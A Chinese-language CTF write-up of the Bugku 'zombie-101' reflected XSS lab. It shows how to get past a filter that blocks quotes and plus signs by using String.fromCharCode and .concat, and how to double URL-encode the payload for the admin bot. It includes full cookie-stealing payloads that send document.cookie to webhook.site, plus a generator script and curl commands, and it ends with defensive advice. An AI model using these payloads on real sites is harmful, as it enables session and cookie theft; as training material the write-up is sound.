
1. 项目概述与核心思路拆解最近在Bugku平台上看到一个挺有意思的Web安全挑战题目叫“zombie-101”。这本质上是一个典型的反射型XSS跨站脚本攻击实战场景但题目设计者加入了一些巧妙的过滤规则让整个解题过程变得不那么直白。我花了些时间研究发现它完美地模拟了真实环境中Web应用防火墙WAF对XSS攻击的防御以及攻击者如何绕过这些防御。如果你正在学习Web安全尤其是想深入理解XSS的绕过技巧和数据外带Exfiltration方法这个靶场绝对值得一玩。简单来说这个靶场模拟了一个僵尸电影评分网站。它有两个核心功能一个是对电影名称进行评价回显的/zombie端点另一个是触发管理员机器人Admin Bot访问指定URL的/visit端点。我们的目标很明确构造一个特殊的XSS Payload通过/zombie端点注入然后利用/visit端点让Admin Bot模拟网站管理员去访问这个被注入了Payload的页面。当Admin Bot的浏览器执行了我们的恶意脚本我们就能窃取其Cookie其中就包含了我们梦寐以求的Flag。整个挑战的难点不在于发现XSS漏洞本身而在于如何绕过靶场设置的字符过滤规则并成功地将窃取到的Cookie数据发送到我们可控的外部服务器上。这要求我们对JavaScript语法、字符串构造技巧以及HTTP请求的发起方式有比较深入的理解。下面我就把整个解题过程、踩过的坑以及最终的有效Payload构造方法毫无保留地分享出来。2. 靶场环境分析与信息收集2.1 初始访问与功能点探测拿到靶场地址例如http://49.232.142.230:14391第一步永远是信息收集。访问首页页面通常比较简洁我们需要快速定位所有可交互的输入点。很快就能发现两个关键接口/zombie?show这是一个GET请求接口。参数show接收一个电影名称页面会返回对该电影的“评价”。例如输入/zombie?showNight%20of%20the%20Living%20Dead页面可能会显示“Wow, we really likedNight of the Living Dead!”。这种将用户输入直接回显到页面上的行为是反射型XSS的典型特征。/visit?url这也是一个GET请求接口。参数url接收一个地址。根据描述提交后一个名为“Admin Bot”或“Zombie.js”的模拟浏览器会去访问这个URL。这模拟了管理员查看用户报告链接的场景是触发XSS的关键。注意在实际操作中一定要用Burp Suite、浏览器开发者工具的网络面板或者简单的curl命令仔细查看每个请求的响应头和响应体。有时关键信息如CSP策略、Cookie设置方式就藏在里面。2.2 WAF过滤规则试探知道有XSS注入点后不能直接莽上去扔一个scriptalert(1)/script。靶场通常设有过滤。我们需要系统性地试探哪些字符或标签被允许哪些被阻止。题目设计得很友好它通过三种不同的响应文本清晰地反馈了过滤结果“Wow, we really liked ...”这意味着Payload成功通过过滤并且很可能被浏览器解析执行了。“Yeah, ... was ok”这是一个模糊地带。Payload可能被部分过滤或修改导致无法执行也可能在某些条件下执行。需要进一步测试。“Sorry, ... was horrible”这明确表示Payload被WAF拦截或过滤掉了。我的测试方法是先提交一些基础的测试向量观察响应测试Payload响应初步分析scriptalert(1)/script“Wow”基础script标签未被过滤好消息img srcx onerroralert(1)“Sorry”onerror事件处理器或被img标签本身被过滤。svg/onloadalert(1)“Yeah”svg标签和onload事件可能被放行但需要确认是否能执行。‘(单引号)“Sorry”关键发现1单引号被过滤。这会影响我们用引号包裹字符串。(加号)“Sorry”关键发现2加号被过滤。这会影响字符串拼接。(反引号)“Yeah”反引号模板字符串未被明确拦截但状态不明。“(双引号)“Wow”双引号可用这是一个重要的突破口。.,()“Wow”点号、等号、逗号、括号都正常为构造复杂Payload保留了空间。通过以上测试我们摸清了WAF的基本规则它似乎采用了一个字符黑名单主要拦截了单引号(‘)和加号()。对于HTML标签和事件属性的过滤可能也有但script标签是畅通的。这给我们指明了一条路只要避免使用单引号和加号我们就能在script标签内编写有效的JavaScript代码。2.3/visit端点的关键限制在构造Payload之前必须理解/visit端点的限制。尝试提交一个外部Webhook地址如https://webhook.site/xxx通常会返回错误提示Please provide a url with a hostname of: 49.232.142.230这意味着/visit?url参数中的URL其主机名必须是靶场服务器自身49.232.142.230。我们不能直接让Admin Bot访问我们的外部服务器。这增加了难度因为我们需要先将XSS Payload注入到靶场服务器的一个页面上即/zombie?show然后再让Admin Bot访问这个“被污染”的靶场页面。然而这里存在一个关键点同源策略Same-Origin Policy限制的是读取响应而不是发送请求。一旦我们的XSS脚本在Admin Bot的浏览器中执行它就可以向任何域发起网络请求如Image.src,fetch,location.href尽管由于CORS限制脚本无法读取外部域的响应内容但请求本身会被发送出去。这对于数据外带来说已经足够了——我们可以把窃取的数据如Cookie放在请求的URL参数里发送到我们的接收服务器。3. Payload构造与绕过技巧详解3.1 核心挑战无引号与加号的字符串构造我们的攻击目标是让Admin Bot访问一个嵌入了恶意脚本的页面脚本执行后读取document.cookie并将其发送到我们控制的Webhook服务器。最简单的想法是scriptwindow.location‘https://webhook.site/xxx?c‘ document.cookie/script但这里用到了单引号和加号触发了WAF规则会被过滤。因此我们需要解决两个问题如何表示字符串‘https://webhook.site/xxx?c‘而不使用引号如何拼接这个字符串和document.cookie而不使用加号3.1.1 使用String.fromCharCode()替代引号String.fromCharCode()是JavaScript中的一个全局函数它接受一系列Unicode码点数字作为参数返回由这些码点对应的字符组成的字符串。例如String.fromCharCode(104, 105)返回字符串”hi”。我们可以将Webhook URL的每一个字符转换成对应的ASCII码‘h‘是104‘i‘是105然后用String.fromCharCode()重新构造出这个字符串。这样就完全避免了在代码中直接书写引号包裹的字符串字面量。转换过程示例 假设Webhook地址是https://webhook.site/xxx?c。 我们需要写一个脚本可以用Python、Node.js或在线工具来转换webhook_url “https://webhook.site/xxx?c“ charcodes [str(ord(c)) for c in webhook_url] print(‘,‘.join(charcodes)) # 输出: 104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61现在String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61)就等价于我们的Webhook URL字符串。3.1.2 使用.concat()方法替代加号在JavaScript中字符串有一个concat()方法用于连接两个或多个字符串并返回新的字符串。str1.concat(str2)的效果等同于str1 str2。因此我们可以用.concat()方法来拼接String.fromCharCode(...)生成的Webhook字符串和document.cookie。组合起来 最终的JavaScript代码核心部分就变成了window.location String.fromCharCode(104,116,116,...).concat(document.cookie)这段代码完美避开了被过滤的‘和。3.2 完整Payload组装与URL编码现在我们需要把这段JavaScript代码放入HTML的script标签中并作为show参数的值提交。完整的Payload雏形是scriptwindow.locationString.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61).concat(document.cookie)/script但是这里有一个至关重要的细节URL编码与双重编码。第一层编码我们的Payload需要作为/zombie?show这个URL的查询参数值。在URL中许多字符如,,,,空格,%等有特殊含义必须进行百分比编码URL encode才能安全传输。例如变成%3C变成%3E。 所以我们需要将整个Payload进行一次URL编码。第二层编码这个编码后的URL又会作为/visit?url参数的值。/visit端点会解码一次这个参数然后将解码后的URL交给Admin Bot去访问。Admin Bot访问时浏览器会对URL再次解码。因此为了确保最终到达/zombie端点的show参数值是我们原始的Payload我们需要进行双重URL编码。 也就是说需要对Payload中原本需要编码的字符如%本身进行两次编码。例如%第一次编码为%25第二次编码时这个%25中的%又会被编码变成%2525。在实际操作中最稳妥的方法是先对Payload做一次完整的URL编码得到字符串A然后再对字符串A做一次完整的URL编码得到字符串B。字符串B就是最终提交给/visit?url的参数值。实操心得很多在线URL编码工具或编程语言的encodeURIComponent函数只做一次编码。手动处理双重编码很容易出错。我的做法是写一个小脚本或者使用Burp Suite的Decoder模块先编码一次复制结果再对结果编码一次。务必检查中间过程的%是否变成了%25。3.3 利用外部服务接收数据我们需要一个地方来接收Admin Bot发来的带有Cookie的请求。webhook.site或requestbin.com这类服务是绝佳选择。它们会提供一个唯一的URL任何发往该URL的请求都会被记录下方法、头部、参数等信息并且可以实时查看。以webhook.site为例打开https://webhook.site。它会自动生成一个唯一的URL格式如https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6。我们在这个URL后面加上查询参数比如?c用于接收Cookie。所以最终用在Payload里的Webhook地址就是https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6?c。重要提示确保你的Webhook地址是https的并且路径正确。有些靶场环境可能对协议有要求。4. 完整攻击链与实操步骤4.1 步骤一生成最终的攻击URL我们可以手动拼接但更推荐写一段简单的脚本Python或Node.js来自动化这个过程避免编码错误。Node.js 示例脚本const webhookBase ‘https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6‘; const webhookUrl webhookBase ‘?c‘; // 接收参数c // 1. 将Webhook URL转换为String.fromCharCode参数 const charCodes [...webhookUrl].map(c c.charCodeAt(0)).join(‘,‘); // 2. 构造XSS Payload (注意避免使用单引号这里用反引号包裹字符串但最终Payload里没有引号) const payload scriptwindow.locationString.fromCharCode(${charCodes}).concat(document.cookie)/script; // 3. 对Payload进行一次URL编码作为 /zombie?show 的参数 const encodedPayload encodeURIComponent(payload); const zombieUrl http://49.232.142.230:14391/zombie?show${encodedPayload}; // 4. 对zombieUrl进行第二次URL编码作为 /visit?url 的参数 const finalEncodedUrl encodeURIComponent(zombieUrl); const finalAttackUrl http://49.232.142.230:14391/visit?url${finalEncodedUrl}; console.log(‘最终的攻击URL:’); console.log(finalAttackUrl); console.log(‘\nPayload内容:’); console.log(payload);运行这个脚本你会得到类似下面的最终URLhttp://49.232.142.230:14391/visit?urlhttp%253A%252F%252F49.232.142.230%253A14391%252Fzombie%253Fshow%253D%25253Cscript%25253Ewindow.location%25253DString.fromCharCode(104%252C116%252C116%252C112%252C115%252C58%252C47%252C47%252C119%252C101%252C98%252C104%252C111%252C111%252C107%252C46%252C115%252C105%252C116%252C101%252C47%252C120%252C120%252C120%252C63%252C99%252C61).concat(document.cookie)%25253C%25252Fscript%25253E注意观察%253A、%252F等这就是双重编码的结果%被编码为%25。4.2 步骤二发起攻击并等待回调将上面生成的finalAttackUrl完整复制直接粘贴到浏览器的地址栏中访问或者使用curl命令curl “http://49.232.142.230:14391/visit?urlhttp%253A%252F%252F49.232.142.230%253A14391%252Fzombie%253Fshow%253D%25253Cscript%25253Ewindow.location%25253DString.fromCharCode(104%252C116%252C116%252C112%252C115%252C58%252C47%252C47%252C119%252C101%252C98%252C104%252C111%252C111%252C107%252C46%252C115%252C105%252C116%252C101%252C47%252C120%252C120%252C120%252C63%252C99%252C61).concat(document.cookie)%25253C%25252Fscript%25253E”访问后如果服务端正常通常会返回一个简单的成功消息表示请求已提交给Admin Bot。此时你需要快速切换到你的Webhook.site页面刷新并等待新的请求出现。4.3 步骤三从Webhook捕获Flag在Webhook.site的控制面板你应该会很快看到一个新的请求记录。点击查看详情重点检查两个地方URL参数查看请求的URL我们的Cookie应该出现在?c参数后面。例如URL可能显示为https://webhook.site/01e9c89e-...?cflagwctf{...}。请求头查看Cookie请求头Flag通常直接以Cookie的形式存在。你会在参数或Cookie中找到类似flagwctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}的内容这就是本题的Flag。5. 深度技术解析与扩展思考5.1 为什么String.fromCharCode()和.concat()能绕过这个靶场的WAF规则设计得非常经典它模拟了现实中过于简单或配置不当的WAF。很多初级WAF规则只是简单地黑名单匹配script、onerror、‘、等常见危险字符或字符串。String.fromCharCode和.concat不属于常见XSS Payload字典中的高频词因此可能被放过。更重要的是这种绕过方式利用了JavaScript语言的灵活性。它不依赖任何HTML事件属性如onload,onerror也不依赖eval()等敏感函数仅仅使用了最基础的字符串操作和导航功能因此隐蔽性相对较高。5.2 其他可能的绕过思路探讨虽然上述方法已经成功但了解其他思路有助于应对更复杂的环境利用反引号模板字符串测试发现反引号返回“Yeah”状态不明。如果可用我们可以尝试scriptwindow.locationhttps://webhook.site/xxx?c${document.cookie}/script这比String.fromCharCode简洁得多。但需要确认反引号是否真的允许执行以及${}表达式是否被解析。使用String.prototype.replace或数组join如果.点号可用我们可以用其他方式拼接字符串。// 使用数组join scriptwindow.location[‘https://webhook.site/xxx?c‘, document.cookie].join(”)/script // 注意这里数组字面量用了单引号如果单引号被过滤则不行。可以用双引号或反引号试试。使用location对象的其他属性不一定非要window.location进行跳转。用new Image().src发起一个GET请求也是常见的数据外带方式且不会导致页面跳转更隐蔽。scriptnew Image().srcString.fromCharCode(...).concat(document.cookie)/script但需要注意如果图片加载失败某些浏览器可能不会发送请求。window.location则更为可靠。分块编码与组合如果WAF还过滤了script、fromCharCode等关键词可以考虑将关键字拆散利用HTML解析特性或JavaScript语法技巧重新组合。例如使用script或者利用eval(atob(‘…‘))执行Base64编码后的代码前提是eval和atob可用。5.3 关于Admin Bot与同源策略的深入理解这个靶场巧妙地利用了同源策略的“单向性”。Admin Bot模拟管理员会话访问被注入的页面该页面位于靶场域名下。XSS脚本在该域下执行拥有该域的完整权限包括读取该域的Cookie。虽然/visit端点限制了Admin Bot只能访问同域URL但脚本执行后发起的出站请求是不受同源策略禁止的。同源策略禁止的是跨域读取响应而不是跨域发送请求。因此我们的Payload通过window.location或new Image().src向外部Webhook发起一个GET请求并将Cookie作为URL参数附加这个请求是完全可以发出的。Webhook服务器会收到这个请求并在日志中记录下完整的URL从而我们就能看到Cookie内容。这就是“盲打XSS”或“XSS数据外带”的基本原理。5.4 防御视角如何防范此类攻击从开发者和防御者的角度看这个靶场暴露了几个关键问题不充分的输入过滤与输出编码WAF仅过滤个别字符是远远不够的。正确的做法是根据数据输出的上下文HTML正文、HTML属性、JavaScript、URL进行相应的编码或转义。例如输出到HTML正文应对,,等进行HTML实体编码输出到HTML属性还要对引号编码输出到script标签内需进行JavaScript Unicode转义。过于依赖黑名单安全的策略应该是“默认拒绝显式允许”白名单。对于电影名称这类输入可以限制为字母、数字、空格和少数标点而不是试图过滤所有危险字符。设置安全的Cookie属性如果Flag所在的Cookie设置了HttpOnly属性那么JavaScript就无法通过document.cookie读取它XSS窃取Cookie的攻击就会失效。这是防御XSS窃取会话标识符最有效的手段之一。实施内容安全策略CSP一个严格的CSP可以阻止内联脚本的执行unsafe-inline并限制脚本只能从可信源加载。这能极大增加XSS利用的难度。例如CSP头script-src ‘self‘将只允许执行同源脚本。对用户提交的URL进行严格校验/visit端点虽然限制了主机名但更好的做法是不仅校验主机名还可以校验URL路径是否在白名单内或者使用一个完全独立的、无Cookie的“沙箱”环境来访问用户链接。6. 常见问题与排查实录在实际操作中你可能会遇到一些问题。下面是我在多次尝试中总结的排查清单问题现象可能原因解决方案提交/visitURL后无反应Webhook收不到请求。1. Admin Bot处理有延迟或队列。2. Payload执行出错未发起请求。3. 双重URL编码错误导致Admin Bot访问的最终地址不正确。1. 等待1-2分钟再刷新Webhook。2. 先在浏览器中手动测试/zombie?show你的Payload单次编码用开发者工具控制台看是否有JS错误。3.仔细检查URL编码。确保%被编码为%25。使用脚本生成URL最可靠。Webhook收到了请求但c参数为空或没有Cookie。1.document.cookie在该页面下为空。2. Payload拼接错误例如concat方法使用有误。3. Cookie设置了HttpOnly但本题没有。1. 确认靶场Flag确实存放在Cookie中。有时Flag可能在LocalStorage或其他地方。2. 在本地用Node.js或浏览器控制台测试你的Payload逻辑是否正确。确保String.fromCharCode生成的字符串正确且.concat(document.cookie)能正确拼接。响应始终是“Sorry”即使使用了String.fromCharCode。1. Payload中可能混入了被过滤的其他字符如测试时不小心留下的单引号。2. 靶场WAF规则可能更新或与你测试的不同。3.script标签可能被某些正则过滤。1. 逐字符检查Payload确保绝对没有单引号和加号。2. 尝试最简Payloadscriptalert(1)/script确认基础XSS是否仍可用。3. 尝试不使用script标签用其他标签和事件如body onload...但注意避开onerror等可能被过滤的事件。浏览器控制台显示“跨域请求被阻止”。这是正常现象我们的目的是发送请求而不是读取响应。CORS错误只意味着我们无法用JavaScript读取Webhook的返回内容但请求已经成功发出。你可以在Webhook端看到这个请求这就足够了。忽略浏览器控制台的CORS错误提示直接去Webhook.site查看请求记录。Webhook地址失效或无法访问。Webhook.site的token有时效性通常几天或者网络问题。重新在webhook.site生成一个新的URL更新Payload中的ASCII码数组重新生成攻击URL。确保使用https。最后一点个人体会XSS绕过就像一场语法游戏核心在于充分理解WAF的过滤逻辑和浏览器解析HTML/JavaScript的规则。zombie-101这个靶场提供了一个非常清晰的训练场它用简单的规则过滤和‘迫使你去思考JavaScript中字符串的多种构造方式。在真实世界的漏洞挖掘中WAF规则要复杂得多可能需要结合HTML编码、JavaScript编码、混淆、冷门语法等多种技巧。但这个靶场打下的基础——手动转换String.fromCharCode、使用.concat拼接、注意双重URL编码——都是非常扎实的基本功。下次遇到更复杂的过滤不妨先静下心来系统地测试一下哪些字符和关键字被允许然后像玩拼图一样用允许的“积木”拼出你想要的攻击代码。